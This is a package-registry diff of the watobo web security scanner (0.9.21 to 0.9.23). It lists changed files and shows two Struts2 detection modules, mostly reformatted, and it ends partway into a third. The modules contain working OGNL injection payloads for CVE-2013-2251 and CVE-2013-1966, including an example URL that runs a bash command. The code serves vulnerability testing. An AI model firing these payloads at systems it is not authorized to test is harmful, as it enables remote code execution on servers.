watobo 0.9.21 → 0.9.23

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (283) hide show
  1. checksums.yaml +7 -0
  2. data/CHANGELOG.md +46 -1
  3. data/bin/nfq_server.rb +0 -9
  4. data/bin/watobo_gui.rb +3 -13
  5. data/custom-views/prettify-json.rb +9 -18
  6. data/icons/watobo.ico +0 -0
  7. data/icons/watobo.ico.old +0 -0
  8. data/lib/watobo.rb +10 -19
  9. data/lib/watobo/adapters.rb +5 -14
  10. data/lib/watobo/adapters/data_store.rb +50 -59
  11. data/lib/watobo/adapters/file/file_store.rb +287 -296
  12. data/lib/watobo/adapters/file/marshal_store.rb +293 -296
  13. data/lib/watobo/adapters/session_store.rb +5 -14
  14. data/lib/watobo/ca.rb +1 -10
  15. data/lib/watobo/config.rb +197 -206
  16. data/lib/watobo/constants.rb +0 -9
  17. data/lib/watobo/core.rb +3 -12
  18. data/lib/watobo/core/active_check.rb +72 -135
  19. data/lib/watobo/core/active_checks.rb +49 -58
  20. data/lib/watobo/core/ca.rb +369 -389
  21. data/lib/watobo/core/cert_store.rb +34 -43
  22. data/lib/watobo/core/chat.rb +92 -101
  23. data/lib/watobo/core/chats.rb +271 -280
  24. data/lib/watobo/core/client_cert_store.rb +106 -35
  25. data/lib/watobo/core/conversation.rb +48 -57
  26. data/lib/watobo/core/cookie.rb +23 -32
  27. data/lib/watobo/core/egress_handlers.rb +98 -0
  28. data/lib/watobo/core/finding.rb +66 -75
  29. data/lib/watobo/core/findings.rb +107 -114
  30. data/lib/watobo/core/forwarding_proxy.rb +13 -22
  31. data/lib/watobo/core/fuzz_gen.rb +0 -9
  32. data/lib/watobo/core/intercept_carver.rb +166 -177
  33. data/lib/watobo/core/intercept_filter.rb +235 -244
  34. data/lib/watobo/core/interceptor.rb +98 -107
  35. data/lib/watobo/core/min_class.rb +4 -13
  36. data/lib/watobo/core/netfilter_queue.rb +170 -179
  37. data/lib/watobo/core/ott_cache.rb +132 -141
  38. data/lib/watobo/core/parameter.rb +43 -52
  39. data/lib/watobo/core/passive_check.rb +103 -102
  40. data/lib/watobo/core/passive_checks.rb +48 -57
  41. data/lib/watobo/core/passive_scanner.rb +54 -55
  42. data/lib/watobo/core/plugin.rb +11 -20
  43. data/lib/watobo/core/project.rb +3 -9
  44. data/lib/watobo/core/proxy.rb +43 -52
  45. data/lib/watobo/core/request.rb +125 -123
  46. data/lib/watobo/core/response.rb +44 -53
  47. data/lib/watobo/core/scanner.rb +0 -9
  48. data/lib/watobo/core/scanner3.rb +405 -414
  49. data/lib/watobo/core/scope.rb +83 -92
  50. data/lib/watobo/core/session.rb +1043 -1026
  51. data/lib/watobo/core/sid_cache.rb +98 -107
  52. data/lib/watobo/core/subscriber.rb +25 -34
  53. data/lib/watobo/defaults.rb +21 -30
  54. data/lib/watobo/external/diff/lcs.rb +0 -9
  55. data/lib/watobo/external/diff/lcs/array.rb +0 -9
  56. data/lib/watobo/external/diff/lcs/block.rb +0 -9
  57. data/lib/watobo/external/diff/lcs/callbacks.rb +0 -9
  58. data/lib/watobo/external/diff/lcs/change.rb +0 -9
  59. data/lib/watobo/external/diff/lcs/hunk.rb +0 -9
  60. data/lib/watobo/external/diff/lcs/ldiff.rb +0 -9
  61. data/lib/watobo/external/diff/lcs/string.rb +0 -9
  62. data/lib/watobo/externals.rb +6 -15
  63. data/lib/watobo/framework.rb +4 -13
  64. data/lib/watobo/framework/create_project.rb +60 -69
  65. data/lib/watobo/framework/init.rb +0 -9
  66. data/lib/watobo/framework/init_modules.rb +0 -9
  67. data/lib/watobo/framework/license_text.rb +28 -37
  68. data/lib/watobo/framework/load_chat.rb +13 -22
  69. data/lib/watobo/gui.rb +132 -123
  70. data/lib/watobo/gui/about_watobo.rb +0 -9
  71. data/lib/watobo/gui/browser_preview.rb +0 -9
  72. data/lib/watobo/gui/certificate_dialog.rb +0 -9
  73. data/lib/watobo/gui/chat_diff.rb +0 -9
  74. data/lib/watobo/gui/chatviewer_frame.rb +73 -72
  75. data/lib/watobo/gui/checkboxtree.rb +0 -9
  76. data/lib/watobo/gui/checks_policy_frame.rb +0 -9
  77. data/lib/watobo/gui/client_cert_dialog.rb +96 -87
  78. data/lib/watobo/gui/confirm_scan_dialog.rb +0 -9
  79. data/lib/watobo/gui/conversation_table.rb +158 -164
  80. data/lib/watobo/gui/conversation_table_ctrl.rb +207 -216
  81. data/lib/watobo/gui/conversation_table_ctrl2.rb +373 -382
  82. data/lib/watobo/gui/csrf_token_dialog.rb +0 -9
  83. data/lib/watobo/gui/custom_viewer.rb +374 -383
  84. data/lib/watobo/gui/dashboard.rb +296 -303
  85. data/lib/watobo/gui/define_scope_frame.rb +0 -9
  86. data/lib/watobo/gui/differ_frame.rb +215 -224
  87. data/lib/watobo/gui/edit_comment.rb +0 -9
  88. data/lib/watobo/gui/edit_scope_dialog.rb +0 -9
  89. data/lib/watobo/gui/export_dialog.rb +104 -113
  90. data/lib/watobo/gui/finding_info.rb +0 -9
  91. data/lib/watobo/gui/findings_tree.rb +210 -217
  92. data/lib/watobo/gui/full_scan_dialog.rb +0 -9
  93. data/lib/watobo/gui/fuzzer_gui.rb +1295 -1313
  94. data/lib/watobo/gui/fxsave_thread.rb +14 -0
  95. data/lib/watobo/gui/goto_url_dialog.rb +70 -79
  96. data/lib/watobo/gui/hex_viewer.rb +0 -9
  97. data/lib/watobo/gui/html_viewer.rb +287 -296
  98. data/lib/watobo/gui/intercept_filter_dialog.rb +188 -197
  99. data/lib/watobo/gui/interceptor_gui.rb +1041 -1051
  100. data/lib/watobo/gui/interceptor_settings_dialog.rb +0 -9
  101. data/lib/watobo/gui/json_viewer.rb +287 -0
  102. data/lib/watobo/gui/list_box.rb +101 -110
  103. data/lib/watobo/gui/log_file_viewer.rb +32 -41
  104. data/lib/watobo/gui/log_viewer.rb +83 -88
  105. data/lib/watobo/gui/login_wizzard.rb +0 -9
  106. data/lib/watobo/gui/main_window.rb +587 -618
  107. data/lib/watobo/gui/manual_request_editor.rb +620 -565
  108. data/lib/watobo/gui/master_pw_dialog.rb +0 -9
  109. data/lib/watobo/gui/mixins/gui_settings.rb +29 -38
  110. data/lib/watobo/gui/page_tree.rb +217 -226
  111. data/lib/watobo/gui/password_policy_dialog.rb +0 -9
  112. data/lib/watobo/gui/plugin_board.rb +0 -9
  113. data/lib/watobo/gui/preferences_dialog.rb +0 -9
  114. data/lib/watobo/gui/progress_window.rb +17 -27
  115. data/lib/watobo/gui/project_wizzard.rb +0 -9
  116. data/lib/watobo/gui/proxy_dialog.rb +1 -10
  117. data/lib/watobo/gui/quick_scan_dialog.rb +0 -9
  118. data/lib/watobo/gui/request_builder_frame.rb +102 -111
  119. data/lib/watobo/gui/request_editor.rb +181 -137
  120. data/lib/watobo/gui/rewrite_filters_dialog.rb +394 -403
  121. data/lib/watobo/gui/rewrite_rules_dialog.rb +372 -381
  122. data/lib/watobo/gui/save_chat_dialog.rb +140 -149
  123. data/lib/watobo/gui/scanner_settings_dialog.rb +0 -9
  124. data/lib/watobo/gui/select_chat_dialog.rb +0 -9
  125. data/lib/watobo/gui/session_management_dialog.rb +0 -9
  126. data/lib/watobo/gui/sites_tree.rb +0 -9
  127. data/lib/watobo/gui/status_bar.rb +0 -9
  128. data/lib/watobo/gui/table_editor.rb +0 -9
  129. data/lib/watobo/gui/tagless_viewer.rb +0 -9
  130. data/lib/watobo/gui/templates/plugin.rb +0 -9
  131. data/lib/watobo/gui/templates/plugin2.rb +92 -100
  132. data/lib/watobo/gui/templates/plugin_base.rb +144 -153
  133. data/lib/watobo/gui/text_viewer.rb +0 -9
  134. data/lib/watobo/gui/transcoder_window.rb +0 -9
  135. data/lib/watobo/gui/utils/gui_utils.rb +0 -9
  136. data/lib/watobo/gui/utils/init_icons.rb +86 -95
  137. data/lib/watobo/gui/utils/load_icons.rb +33 -42
  138. data/lib/watobo/gui/utils/load_plugins.rb +116 -119
  139. data/lib/watobo/gui/utils/master_password.rb +68 -77
  140. data/lib/watobo/gui/utils/save_default_settings.rb +113 -122
  141. data/lib/watobo/gui/utils/save_project_settings.rb +0 -9
  142. data/lib/watobo/gui/utils/save_proxy_settings.rb +41 -50
  143. data/lib/watobo/gui/utils/save_scanner_settings.rb +18 -27
  144. data/lib/watobo/gui/utils/session_history.rb +112 -121
  145. data/lib/watobo/gui/workspace_dialog.rb +0 -9
  146. data/lib/watobo/gui/www_auth_dialog.rb +0 -9
  147. data/lib/watobo/gui/xml_viewer_frame.rb +0 -9
  148. data/lib/watobo/http.rb +4 -13
  149. data/lib/watobo/http/cookies/cookies.rb +26 -35
  150. data/lib/watobo/http/data/data.rb +45 -54
  151. data/lib/watobo/http/data/json.rb +47 -55
  152. data/lib/watobo/http/url/url.rb +38 -47
  153. data/lib/watobo/http/xml/xml.rb +124 -130
  154. data/lib/watobo/interceptor.rb +3 -12
  155. data/lib/watobo/interceptor/proxy.rb +742 -739
  156. data/lib/watobo/interceptor/transparent.rb +22 -24
  157. data/lib/watobo/mixins.rb +10 -19
  158. data/lib/watobo/mixins/check_info.rb +27 -36
  159. data/lib/watobo/mixins/httpparser.rb +613 -637
  160. data/lib/watobo/mixins/request_parser.rb +88 -97
  161. data/lib/watobo/mixins/shapers.rb +515 -529
  162. data/lib/watobo/mixins/transcoders.rb +3 -11
  163. data/lib/watobo/parser.rb +1 -10
  164. data/lib/watobo/parser/html.rb +83 -92
  165. data/lib/watobo/patch_fxruby_setfocus.rb +26 -0
  166. data/lib/watobo/sockets.rb +3 -12
  167. data/lib/watobo/sockets/agent.rb +828 -837
  168. data/lib/watobo/sockets/client_socket.rb +308 -312
  169. data/lib/watobo/sockets/connection.rb +401 -410
  170. data/lib/watobo/sockets/http_socket.rb +11 -13
  171. data/lib/watobo/sockets/ntlm_auth.rb +129 -138
  172. data/lib/watobo/utils.rb +10 -19
  173. data/lib/watobo/utils/check_regex.rb +0 -9
  174. data/lib/watobo/utils/copy_object.rb +0 -9
  175. data/lib/watobo/utils/crypto.rb +0 -9
  176. data/lib/watobo/utils/expand_range.rb +23 -32
  177. data/lib/watobo/utils/export_xml.rb +97 -106
  178. data/lib/watobo/utils/file_management.rb +9 -11
  179. data/lib/watobo/utils/hexprint.rb +9 -18
  180. data/lib/watobo/utils/load_chat.rb +0 -9
  181. data/lib/watobo/utils/load_icon.rb +0 -9
  182. data/lib/watobo/utils/ntlm.rb +866 -875
  183. data/lib/watobo/utils/print_debug.rb +12 -21
  184. data/lib/watobo/utils/response_builder.rb +90 -99
  185. data/lib/watobo/utils/response_hash.rb +0 -9
  186. data/lib/watobo/utils/secure_eval.rb +0 -9
  187. data/lib/watobo/utils/strings.rb +10 -19
  188. data/lib/watobo/utils/text2request.rb +0 -9
  189. data/lib/watobo/utils/url.rb +23 -32
  190. data/lib/watobo/utils/utf16.rb +11 -20
  191. data/modules/active/Apache/mod_status.rb +0 -9
  192. data/modules/active/Apache/multiview.rb +151 -160
  193. data/modules/active/Flash/crossdomain.rb +0 -9
  194. data/modules/active/JWT/jwt_oauth2_none.rb +111 -0
  195. data/modules/active/cq5/cq5_default_selectors.rb +106 -115
  196. data/modules/active/cq5/cqp_user_enumeration.rb +125 -134
  197. data/modules/active/directories/dirwalker.rb +0 -9
  198. data/modules/active/discovery/fileextensions.rb +0 -9
  199. data/modules/active/discovery/http_methods.rb +0 -9
  200. data/modules/active/discovery/jsmapfiles.rb +79 -0
  201. data/modules/active/domino/domino_db.rb +68 -76
  202. data/modules/active/dotNET/custom_errors.rb +102 -111
  203. data/modules/active/dotNET/dotnet_files.rb +90 -99
  204. data/modules/active/fileinclusion/lfi_simple.rb +0 -9
  205. data/modules/active/jboss/jboss_basic.rb +0 -9
  206. data/modules/active/sap/business_objects.rb +51 -60
  207. data/modules/active/sap/its_commands.rb +0 -9
  208. data/modules/active/sap/its_service_parameter.rb +0 -9
  209. data/modules/active/sap/its_services.rb +0 -9
  210. data/modules/active/sap/its_xss.rb +0 -9
  211. data/modules/active/shell_shock/shell_shock.rb +139 -148
  212. data/modules/active/siebel/siebel_apps.rb +160 -169
  213. data/modules/active/sqlinjection/sql_boolean.rb +0 -9
  214. data/modules/active/sqlinjection/sql_numerical.rb +198 -0
  215. data/modules/active/sqlinjection/sqli_error.rb +0 -9
  216. data/modules/active/sqlinjection/sqli_timing.rb +220 -229
  217. data/modules/active/struts2/default_handler_ognl.rb +106 -115
  218. data/modules/active/struts2/include_params_ognl.rb +105 -114
  219. data/modules/active/xml/xml_xxe.rb +112 -123
  220. data/modules/active/xss/xss_ng.rb +214 -223
  221. data/modules/active/xss/xss_simple.rb +0 -9
  222. data/modules/passive/ajax.rb +68 -77
  223. data/modules/passive/autocomplete.rb +56 -65
  224. data/modules/passive/cookie_options.rb +0 -9
  225. data/modules/passive/cookie_xss.rb +0 -9
  226. data/modules/passive/detect_code.rb +0 -9
  227. data/modules/passive/detect_fileupload.rb +0 -9
  228. data/modules/passive/detect_infrastructure.rb +0 -9
  229. data/modules/passive/detect_one_time_tokens.rb +0 -9
  230. data/modules/passive/dirindexing.rb +0 -9
  231. data/modules/passive/disclosure_domino.rb +55 -64
  232. data/modules/passive/disclosure_emails.rb +0 -9
  233. data/modules/passive/disclosure_ipaddr.rb +55 -53
  234. data/modules/passive/filename_as_parameter.rb +0 -9
  235. data/modules/passive/form_spotter.rb +0 -9
  236. data/modules/passive/hidden_fields.rb +50 -59
  237. data/modules/passive/hotspots.rb +0 -9
  238. data/modules/passive/in_script_parameter.rb +0 -9
  239. data/modules/passive/json_web_token.rb +93 -0
  240. data/modules/passive/multiple_server_headers.rb +0 -9
  241. data/modules/passive/possible_login.rb +0 -9
  242. data/modules/passive/redirect_url.rb +0 -9
  243. data/modules/passive/redirectionz.rb +0 -9
  244. data/modules/passive/sap-headers.rb +56 -65
  245. data/modules/passive/xss_dom.rb +0 -9
  246. data/plugins/aem/aem.rb +11 -20
  247. data/plugins/aem/gui/main.rb +118 -127
  248. data/plugins/aem/gui/tree_view.rb +171 -180
  249. data/plugins/aem/lib/agent.rb +130 -138
  250. data/plugins/aem/lib/dispatcher.rb +45 -51
  251. data/plugins/aem/lib/engine.rb +177 -186
  252. data/plugins/catalog/catalog.rb +345 -355
  253. data/plugins/crawler/crawler.rb +4 -13
  254. data/plugins/crawler/gui.rb +5 -14
  255. data/plugins/crawler/gui/auth_frame.rb +270 -279
  256. data/plugins/crawler/gui/crawler_gui.rb +271 -276
  257. data/plugins/crawler/gui/general_settings_frame.rb +96 -105
  258. data/plugins/crawler/gui/hooks_frame.rb +80 -89
  259. data/plugins/crawler/gui/scope_frame.rb +50 -59
  260. data/plugins/crawler/gui/settings_tabbook.rb +38 -47
  261. data/plugins/crawler/gui/status_frame.rb +59 -68
  262. data/plugins/crawler/lib/bags.rb +18 -27
  263. data/plugins/crawler/lib/constants.rb +11 -20
  264. data/plugins/crawler/lib/engine.rb +488 -497
  265. data/plugins/crawler/lib/grabber.rb +68 -77
  266. data/plugins/crawler/lib/status.rb +71 -80
  267. data/plugins/crawler/lib/uri_mp.rb +12 -21
  268. data/plugins/filefinder/filefinder.rb +326 -333
  269. data/plugins/sqlmap/bin/test.rb +78 -87
  270. data/plugins/sqlmap/gui.rb +4 -13
  271. data/plugins/sqlmap/gui/main.rb +218 -227
  272. data/plugins/sqlmap/gui/options_frame.rb +97 -106
  273. data/plugins/sqlmap/lib/sqlmap_ctrl.rb +90 -100
  274. data/plugins/sqlmap/sqlmap.rb +2 -11
  275. data/plugins/sslchecker/cli/sslchecker_cli.rb +0 -9
  276. data/plugins/sslchecker/gui/cipher_table.rb +246 -254
  277. data/plugins/sslchecker/gui/gui.rb +258 -264
  278. data/plugins/sslchecker/gui/sslchecker.rb +4 -13
  279. data/plugins/sslchecker/lib/check.rb +127 -133
  280. data/plugins/wshell/gui/main.rb +119 -117
  281. data/plugins/wshell/lib/core.rb +38 -88
  282. data/plugins/wshell/wshell.rb +11 -20
  283. metadata +170 -164
@@ -1,116 +1,107 @@
1
- #.
2
- # default_handler_ognl.rb
3
- #.
4
- # Copyright 2014 by siberas, http://www.siberas.de
5
- # This file is part of WATOBO (Web Application Tool Box) http://watobo.sourceforge.com
6
- # WATOBO is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License.
7
- # WATOBO is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
8
- # You should have received a copy of the GNU General Public License along with WATOBO; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
1
+ # @private
2
+ module Watobo#:nodoc: all
3
+ module Modules
4
+ module Active
5
+ module Struts2
6
+
7
+
8
+ class Default_handler_ognl < Watobo::ActiveCheck
9
+ @@tested_directories = Hash.new
10
+
11
+ threat =<<'EOF'
12
+ A vulnerability introduced by manipulating parameters prefixed with "action:"/"redirect:"/"redirectAction:" allows remote command execution
9
13
 
10
- # @private
11
- module Watobo#:nodoc: all
12
- module Modules
13
- module Active
14
- module Struts2
15
-
16
-
17
- class Default_handler_ognl < Watobo::ActiveCheck
18
- @@tested_directories = Hash.new
19
-
20
- threat =<<'EOF'
21
- A vulnerability introduced by manipulating parameters prefixed with "action:"/"redirect:"/"redirectAction:" allows remote command execution
22
-
23
- Source: http://struts.apache.org/release/2.3.x/docs/s2-016.html
24
- CVE: CVE-2013-2251
25
- EOF
26
-
27
- #
28
- details =<<'EOD'
29
- Example for code execution:
30
- http://your.vulnerable.app/?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{%27/bin/bash%27,%27-c%27,%27touch%20/tmp/pwned%27})).start()}
31
- EOD
32
-
33
-
34
- measure = "Update Struts2 to version >2.3.15.1"
35
-
36
- @info.update(
37
- :check_name => 'Struts2 default handlers', # name of check which briefly describes functionality, will be used for tree and progress views
38
- :check_group => "Struts",
39
- :description => "Check for struts2 default handlers which doesn't sanitize parameters.", # description of checkfunction
40
- :author => "Andreas Schmidt", # author of check
41
- :version => "1.0" # check version
42
- )
43
-
44
- @finding.update(
45
- :threat => threat, # thread of vulnerability, e.g. loss of information
46
- :class => "Struts2 - default handlers", # vulnerability class, e.g. Stored XSS, SQL-Injection, ...
47
- :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN
48
- :rating => VULN_RATING_CRITICAL,
49
- :measure => measure,
50
- :details => details
51
- )
52
-
53
- def initialize(project, prefs={})
54
- super(project, prefs)
55
-
56
- @vuln_handlers = %w( action redirect redirectAction)
57
-
58
- def reset
59
- @@tested_directories.clear
60
- end
61
-
62
-
63
- end
64
-
65
-
66
- def generateChecks(chat)
67
- begin
68
- #
69
- path = chat.request.dir
70
- return true if @@tested_directories.has_key?(path)
71
-
72
- @@tested_directories[path] = true
73
- @vuln_handlers.each do |handler|
74
- checker = proc {
75
- results = {}
76
- request = nil
77
- response = nil
78
- test_request = chat.copyRequest
79
-
80
- test_value = '?' + CGI::escape("#{handler}:watobo_%{10000-1}")
81
-
82
- test_request.replaceElement test_value
83
-
84
- request, response = doRequest(test_request)
85
-
86
- if response.headers.select{|h| h =~ /^Location:.*(_9999)/}.length > 0
87
-
88
- addFinding( request, response,
89
- :check_pattern => test_value,
90
- :proof_pattern => "Location:.*_9999",
91
- :test_item => handler,
92
- :chat => chat,
93
- :title => "[#{request.dir}] - #{handler}"
94
- )
95
- end
96
-
97
- [ request, response ]
98
- }
99
- yield checker
100
-
101
- end
102
-
103
- rescue => bang
104
- puts bang
105
- puts bang.backtrace if $DEBUG
106
- puts "ERROR!! #{Module.nesting[0].name}"
107
- raise
108
- end
109
- end
110
-
111
- end
112
-
113
- end
114
- end
115
- end
116
- end
14
+ Source: http://struts.apache.org/release/2.3.x/docs/s2-016.html
15
+ CVE: CVE-2013-2251
16
+ EOF
17
+
18
+ #
19
+ details =<<'EOD'
20
+ Example for code execution:
21
+ http://your.vulnerable.app/?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{%27/bin/bash%27,%27-c%27,%27touch%20/tmp/pwned%27})).start()}
22
+ EOD
23
+
24
+
25
+ measure = "Update Struts2 to version >2.3.15.1"
26
+
27
+ @info.update(
28
+ :check_name => 'Struts2 default handlers', # name of check which briefly describes functionality, will be used for tree and progress views
29
+ :check_group => "Struts",
30
+ :description => "Check for struts2 default handlers which doesn't sanitize parameters.", # description of checkfunction
31
+ :author => "Andreas Schmidt", # author of check
32
+ :version => "1.0" # check version
33
+ )
34
+
35
+ @finding.update(
36
+ :threat => threat, # thread of vulnerability, e.g. loss of information
37
+ :class => "Struts2 - default handlers", # vulnerability class, e.g. Stored XSS, SQL-Injection, ...
38
+ :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN
39
+ :rating => VULN_RATING_CRITICAL,
40
+ :measure => measure,
41
+ :details => details
42
+ )
43
+
44
+ def initialize(project, prefs={})
45
+ super(project, prefs)
46
+
47
+ @vuln_handlers = %w( action redirect redirectAction)
48
+
49
+ def reset
50
+ @@tested_directories.clear
51
+ end
52
+
53
+
54
+ end
55
+
56
+
57
+ def generateChecks(chat)
58
+ begin
59
+ #
60
+ path = chat.request.dir
61
+ return true if @@tested_directories.has_key?(path)
62
+
63
+ @@tested_directories[path] = true
64
+ @vuln_handlers.each do |handler|
65
+ checker = proc {
66
+ results = {}
67
+ request = nil
68
+ response = nil
69
+ test_request = chat.copyRequest
70
+
71
+ test_value = '?' + CGI::escape("#{handler}:watobo_%{10000-1}")
72
+
73
+ test_request.replaceElement test_value
74
+
75
+ request, response = doRequest(test_request)
76
+
77
+ if response.headers.select{|h| h =~ /^Location:.*(_9999)/}.length > 0
78
+
79
+ addFinding( request, response,
80
+ :check_pattern => test_value,
81
+ :proof_pattern => "Location:.*_9999",
82
+ :test_item => handler,
83
+ :chat => chat,
84
+ :title => "[#{request.dir}] - #{handler}"
85
+ )
86
+ end
87
+
88
+ [ request, response ]
89
+ }
90
+ yield checker
91
+
92
+ end
93
+
94
+ rescue => bang
95
+ puts bang
96
+ puts bang.backtrace if $DEBUG
97
+ puts "ERROR!! #{Module.nesting[0].name}"
98
+ raise
99
+ end
100
+ end
101
+
102
+ end
103
+
104
+ end
105
+ end
106
+ end
107
+ end
@@ -1,115 +1,106 @@
1
- #.
2
- # include_params_ognl.rb
3
- #.
4
- # Copyright 2014 by siberas, http://www.siberas.de
5
- # This file is part of WATOBO (Web Application Tool Box) http://watobo.sourceforge.com
6
- # WATOBO is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License.
7
- # WATOBO is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
8
- # You should have received a copy of the GNU General Public License along with WATOBO; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
1
+ # @private
2
+ module Watobo#:nodoc: all
3
+ module Modules
4
+ module Active
5
+ module Struts2
6
+
7
+
8
+ class Include_params_ognl < Watobo::ActiveCheck
9
+
10
+ threat =<<'EOF'
11
+ A vulnerability, present in the includeParams attribute of the URL and Anchor Tag, allows remote command execution
9
12
 
10
- # @private
11
- module Watobo#:nodoc: all
12
- module Modules
13
- module Active
14
- module Struts2
15
-
16
-
17
- class Include_params_ognl < Watobo::ActiveCheck
18
-
19
- threat =<<'EOF'
20
- A vulnerability, present in the includeParams attribute of the URL and Anchor Tag, allows remote command execution
21
-
22
- Source: http://struts.apache.org/release/2.3.x/docs/s2-013.html
23
- CVE: CVE-2013-1966
24
- EOF
25
-
26
- #
27
- details =<<'EOD'
28
- Example for code execution:
29
- http://your.vulnerable.app/?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{%27/bin/bash%27,%27-c%27,%27touch%20/tmp/pwned%27})).start()}
30
- EOD
31
-
32
-
33
- measure = "Update Struts2 to version >2.3.14"
34
-
35
- @info.update(
36
- :check_name => 'Struts2 includeParams', # name of check which briefly describes functionality, will be used for tree and progress views
37
- :check_group => "Struts",
38
- :description => "Check for vulnerable includeParams attribute.", # description of checkfunction
39
- :author => "Andreas Schmidt", # author of check
40
- :version => "1.0" # check version
41
- )
42
-
43
- @finding.update(
44
- :threat => threat, # thread of vulnerability, e.g. loss of information
45
- :class => "Struts2 - includeParams", # vulnerability class, e.g. Stored XSS, SQL-Injection, ...
46
- :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN
47
- :rating => VULN_RATING_CRITICAL,
48
- :measure => measure,
49
- :details => details
50
- )
51
-
52
- def initialize(project, prefs={})
53
- super(project, prefs)
54
-
55
- end
56
-
57
-
58
- def generateChecks(chat)
59
- begin
60
-
61
- checker = proc {
62
- results = {}
63
- request = nil
64
- response = nil
65
- test_request = chat.copyRequest
66
-
67
-
68
- test_value = "%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#writer.println(INJ),#writer.close())}"
69
- marks = [ "INJ" , Time.now.to_i.to_s ]
70
-
71
- inj_str = marks.map{|m| "'#{m}'"}.join("+")
72
-
73
- test_value.gsub!(/INJ/, inj_str)
74
-
75
- tparam = Watobo::UrlParameter.new( :name => "watobo", :value => CGI::escape(test_value) )
76
-
77
- test_request.url.set tparam
78
- #puts test_request.first
79
-
80
- request, response = doRequest(test_request)
81
-
82
- if response.respond_to? :body
83
- unless response.body.nil?
84
- body = response.body.unpack("C*").pack("C*")
85
- #puts body
86
- proof = marks.join
87
- if response.body.to_s =~ /#{proof}/
88
- addFinding( request, response,
89
- :check_pattern => CGI::escape(test_value),
90
- :proof_pattern => "#{proof}",
91
- :chat => chat,
92
- :title => "[includeParams] - #{request.file}"
93
- )
94
- end
95
- end
96
- end
97
-
98
- [ request, response ]
99
- }
100
- yield checker
101
-
102
- rescue => bang
103
- puts bang
104
- puts bang.backtrace if $DEBUG
105
- puts "ERROR!! #{Module.nesting[0].name}"
106
- raise
107
- end
108
- end
109
-
110
- end
111
-
112
- end
113
- end
114
- end
115
- end
13
+ Source: http://struts.apache.org/release/2.3.x/docs/s2-013.html
14
+ CVE: CVE-2013-1966
15
+ EOF
16
+
17
+ #
18
+ details =<<'EOD'
19
+ Example for code execution:
20
+ http://your.vulnerable.app/?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{%27/bin/bash%27,%27-c%27,%27touch%20/tmp/pwned%27})).start()}
21
+ EOD
22
+
23
+
24
+ measure = "Update Struts2 to version >2.3.14"
25
+
26
+ @info.update(
27
+ :check_name => 'Struts2 includeParams', # name of check which briefly describes functionality, will be used for tree and progress views
28
+ :check_group => "Struts",
29
+ :description => "Check for vulnerable includeParams attribute.", # description of checkfunction
30
+ :author => "Andreas Schmidt", # author of check
31
+ :version => "1.0" # check version
32
+ )
33
+
34
+ @finding.update(
35
+ :threat => threat, # thread of vulnerability, e.g. loss of information
36
+ :class => "Struts2 - includeParams", # vulnerability class, e.g. Stored XSS, SQL-Injection, ...
37
+ :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN
38
+ :rating => VULN_RATING_CRITICAL,
39
+ :measure => measure,
40
+ :details => details
41
+ )
42
+
43
+ def initialize(project, prefs={})
44
+ super(project, prefs)
45
+
46
+ end
47
+
48
+
49
+ def generateChecks(chat)
50
+ begin
51
+
52
+ checker = proc {
53
+ results = {}
54
+ request = nil
55
+ response = nil
56
+ test_request = chat.copyRequest
57
+
58
+
59
+ test_value = "%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#writer.println(INJ),#writer.close())}"
60
+ marks = [ "INJ" , Time.now.to_i.to_s ]
61
+
62
+ inj_str = marks.map{|m| "'#{m}'"}.join("+")
63
+
64
+ test_value.gsub!(/INJ/, inj_str)
65
+
66
+ tparam = Watobo::UrlParameter.new( :name => "watobo", :value => CGI::escape(test_value) )
67
+
68
+ test_request.url.set tparam
69
+ #puts test_request.first
70
+
71
+ request, response = doRequest(test_request)
72
+
73
+ if response.respond_to? :body
74
+ unless response.body.nil?
75
+ body = response.body.unpack("C*").pack("C*")
76
+ #puts body
77
+ proof = marks.join
78
+ if response.body.to_s =~ /#{proof}/
79
+ addFinding( request, response,
80
+ :check_pattern => CGI::escape(test_value),
81
+ :proof_pattern => "#{proof}",
82
+ :chat => chat,
83
+ :title => "[includeParams] - #{request.file}"
84
+ )
85
+ end
86
+ end
87
+ end
88
+
89
+ [ request, response ]
90
+ }
91
+ yield checker
92
+
93
+ rescue => bang
94
+ puts bang
95
+ puts bang.backtrace if $DEBUG
96
+ puts "ERROR!! #{Module.nesting[0].name}"
97
+ raise
98
+ end
99
+ end
100
+
101
+ end
102
+
103
+ end
104
+ end
105
+ end
106
+ end
@@ -1,134 +1,123 @@
1
- #.
2
- # xml_xxe.rb
3
- #.
4
- # Copyright 2014 by siberas, http://www.siberas.de
5
- # This file is part of WATOBO (Web Application Tool Box) http://watobo.sourceforge.com
6
- # WATOBO is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License.
7
